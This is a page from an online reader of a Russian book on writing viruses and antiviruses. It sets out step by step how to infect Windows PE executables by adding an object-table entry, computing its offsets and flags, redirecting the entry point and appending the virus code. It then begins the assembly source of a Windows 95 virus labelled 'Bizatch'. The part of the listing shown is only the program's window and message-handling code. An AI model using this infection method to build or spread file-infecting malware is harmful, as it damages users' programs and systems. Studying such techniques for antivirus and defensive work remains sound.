Игорь Гульев - Создаем вирус и антивирус стр 10.

Шрифт
Фон

push offset lpszProc

push dword ptr [hModule]

call GetProcAddress

Используя 32-битный отладчик, можно оттрассировать вызов и найти вызов KERNEL32 для каждого конкретного случая. Это позволит получить номер функции и обойтись без необходимой для вызова таблицы импортируемых имен.

Заражение файлов формата PE-executable

Определение положения начала PE-заголовка происходит аналогично поиску начала NE-заголовка. Если смещение таблицы настройки адресов (поле 18h) в заголовке EXE-файла 40h или больше, то по смещению 3Ch находится смещение PE-executable заголовка. Сигнатура PE-executable ("PE") находится, как и у NE-executable EXE-файла, в начале нового заголовка.

Внутри PE-заголовка находится таблица объектов. Ее формат наиболее важен по сравнению с прочими. Для добавления вирусного кода в носитель и перехвата вирусом управления необходимо добавить элемент в таблицу объектов.

Основные действия заражения PE-executable файла:

1. Найти смещение заголовка PE-executable в файле.

2. Считать достаточное количество информации из заголовка для вычисления его полного размера.

3. Считать весь PE-заголовок и таблицу объектов.

4. Добавить новый объект в таблицу объектов.

5. Установить точку входа RVA на новый объект.

6. Дописать вирус к файлу по вычисленному физическому смещению.

7. Записать измененный PE-заголовок в файл.

Для определения расположения таблицы объектов следует воспользоваться значением переменной "HeaderSize" (не путать с "NT headersize"), которая содержит совместный размер заголовков DOS, PE и таблицы объектов.

Для чтения таблицы объектов необходимо считать HeaderSize байт от начала файла.

Таблица объектов расположена непосредственно за NT-заголовком. Значение "NTheadersize" показывает количество байт, следующих за полем "flags". Итак, для определения смещения таблицы объектов нужно получить NTheaderSize и добавить размер поля флагов (24).

Добавление объекта: получив количество объектов, умножить его на 40 (размер элемента таблицы объектов). Таким образом определяется смещение, по которому будет расположен вирус.

Данные для элемента таблицы объектов должны быть вычислены с использованием информации в предыдущем элементе (элементе носителя).

RVA=((prev RVA+prev Virtual Size)/OBJ Alignment+1)

*OBJ Alignment

Virtual Size=((size of virus+buffer any space)/OBJ Alignment+1)

*OBJ Alignment

Physical Size=(size of virus/File Alignment+1)*File Alignment

Physical Offset=prev Physical Offset+prev Physical Size

Object Flags=db 40h,0,0,C0h

Entrypoint RVA=RVA

Теперь необходимо увеличить на единицу поле "количество объектов" и записать код вируса по вычисленному "физическому смещению" в размере "физического размера" байт.

Пример вируса под Windows 95

.386

locals

jumps

.model flat,STDCALL

include win32.inc ;некоторые 32−битные константы и структуры

L equ <LARGE>

;Определим внешние функции, к которым будет подключаться вирус

extrn BeginPaint:PROC

extrn CreateWindowExA:PROC

extrn DefWindowProcA:PROC

extrn DispatchMessageA:PROC

extrn EndPaint:PROC

extrn ExitProcess:PROC

extrn FindWindowA:PROC

extrn GetMessageA:PROC

extrn GetModuleHandleA:PROC

extrn GetStockObject:PROC

extrn InvalidateRect:PROC

extrn LoadCursorA:PROC

extrn LoadIconA:PROC

extrn MessageBeep:PROC

extrn PostQuitMessage:PROC

extrn RegisterClassA:PROC

extrn ShowWindow:PROC

extrn SetWindowPos:PROC

extrn TextOutA:PROC

extrn TranslateMessage:PROC

extrn UpdateWindow:PROC

;Для поддержки Unicode Win32 интерпретирует некоторые функции

;для ANSI или расширенного набора символов.

;В качестве примера рассмотрим ANSI

CreateWindowEx equ <CreateWindowExA>

DefWindowProc equ <DefWindowProcA>

DispatchMessage equ <DispatchMessageA>

FindWindow equ <FindWindowA>

GetMessage equ <GetMessageA>

GetModuleHandle equ <GetModuleHandleA>

LoadCursor equ <LoadCursorA>

LoadIcon equ <LoadIconA>

MessageBox equ <MessageBoxA>

RegisterClass equ <RegisterClassA>

TextOut equ <TextOutA>

.data

newhwnd dd 0

lppaint PAINTSTRUCT <?>

msg MSGSTRUCT <?>

wc WNDCLASS <?>

mbx_count dd 0

hInst dd 0

szTitleName db "Bizatch by Quantum / VLAD activated"

zero db 0

szAlternate db "more than once",0

szClassName db "ASMCLASS32",0

;Сообщение, выводимое в окне

szPaint db "Left Button pressed:"

s_num db "00000000h times.",0

;Размер сообщения

MSG_L EQU ($−offset szPaint)−1

.code

;Сюда обычно передается управление от загрузчика.

start:

;Получим HMODULE

push L 0

call GetModuleHandle

mov [hInst],eax

push L 0

push offset szClassName

call FindWindow

or eax,eax

jz reg_class

;Пространство для модификации строки заголовка

mov [zero]," "

reg_class:

;Инициализируем структуру WndClass

mov [wc.clsStyle],CS_HREDRAW+CS_VREDRAW+CS_GLOBALCLASS

mov [wc.clsLpfnWndProc],offset WndProc

mov [wc.clsCbClsExtra],0

mov [wc.clsCbWndExtra],0

mov eax,[hInst]

mov [wc.clsHInstance], eax

;Загружаем значок

push L IDI_APPLICATION

push L 0

call LoadIcon

mov [wc.clsHIcon], eax

;Загружаем курсор

push L IDC_ARROW

push L 0

call LoadCursor

mov [wc.clsHCursor], eax

;Инициализируем оставшиеся поля структуры WndClass

mov [wc.clsHbrBackground],COLOR_WINDOW+1

mov dword ptr [wc.clsLpszMenuName],0

mov dword ptr [wc.clsLpszClassName],offset szClassName

;Регистрируем класс окна

push offset wc

call RegisterClass

;Создаем окно

push L 0 ;lpParam

push [hInst] ;hInstance

push L 0 ;Меню

push L 0 ;hwnd родительского

окна

push L CW_USEDEFAULT ;Высота

push L CW_USEDEFAULT ;Длина

push L CW_USEDEFAULT ;Y

push L CW_USEDEFAULT ;X

push L WS_OVERLAPPEDWINDOW ;Style

push offset szTitleName ;Title Style

push offset szClassName ;Class name

push L 0 ;extra style

call CreateWindowEx

;Сохраняем HWND

mov [newhwnd], eax

;Отображаем окно на экране

push L SW_SHOWNORMAL

push [newhwnd]

call ShowWindow

;Обновляем содержимое окна

push [newhwnd]

call UpdateWindow

;Очередь сообщений

msg_loop:

;Прочитаем следующее сообщение из очереди

push L 0

push L 0

push L 0

push offset msg

call GetMessage

;Если функция GetMessage вернула нулевое значение, то завершаем

;обработку сообщений и выходим из процесса

cmp ax,0

je end_loop

;Преобразуем виртуальные коды клавиш в сообщения клавиатуры

push offset msg

call TranslateMessage

;Передаем это сообщение назад в Windows

push offset msg

call DispatchMessage

;Переходим к следующему сообщению

jmp msg_loop

;Выход из процесса

end_loop:

push [msg.msWPARAM]

call ExitProcess

;Обработка сообщений окна. Win32 требует сохранения регистров

;EBX, EDI, ESI. Запишем эти регистры после "uses" в строке "proc".

;Это позволит Ассемблеру сохранить их

WndProc proc uses ebx edi esi, hwnd:DWORD, wmsg:DWORD, wparam:

DWORD, lparam:DWORD

LOCAL theDC:DWORD

;Проверим, какое сообщение получили, и перейдем к обработке

cmp [wmsg],WM_DESTROY

je wmdestroy

cmp [wmsg],WM_RBUTTONDOWN

je wmrbuttondown

cmp [wmsg],WM_SIZE

je wmsize

cmp [wmsg],WM_CREATE

je wmcreate

cmp [wmsg],WM_LBUTTONDOWN

je wmlbuttondown

cmp [wmsg],WM_PAINT

je wmpaint

cmp [wmsg],WM_GETMINMAXINFO

je wmgetminmaxinfo

;Данная программа не обрабатывает это сообщение.

;Передадим его Windows,

;чтобы оно было обработано по умолчанию

jmp defwndproc

;Сообщение WM_PAINT (перерисовать содержимое окна)

wmpaint:

;Подготовим окно для перерисовки

push offset lppaint

push [hwnd]

call BeginPaint

mov [theDC], eax

;Переведем в ASCII−формат значение mbx_count, которое

;показывает, сколько раз была нажата левая кнопка мыши

mov eax,[mbx_count]

mov edi, offset s_num

call HexWrite32

;Вывод строки в окно

push L MSG_L ;Длина строки

push offset szPaint ;Строка

push L 5 ;Y

push L 5 ;X

push [theDC] ;DC

call TextOut

;Обозначим завершение перерисовки окна

push offset lppaint

push [hwnd]

call EndPaint

;Выходим из обработки сообщения

mov eax, 0

jmp finish

;Сообщение WM_CREATE (создание окна)

wmcreate:

;Выходим из обработки сообщения

mov eax, 0

jmp finish

Ваша оценка очень важна

0
Шрифт
Фон

Помогите Вашим друзьям узнать о библиотеке

Скачать книгу

Если нет возможности читать онлайн, скачайте книгу файлом для электронной книжки и читайте офлайн.

fb2.zip txt txt.zip rtf.zip a4.pdf a6.pdf mobi.prc epub ios.epub fb3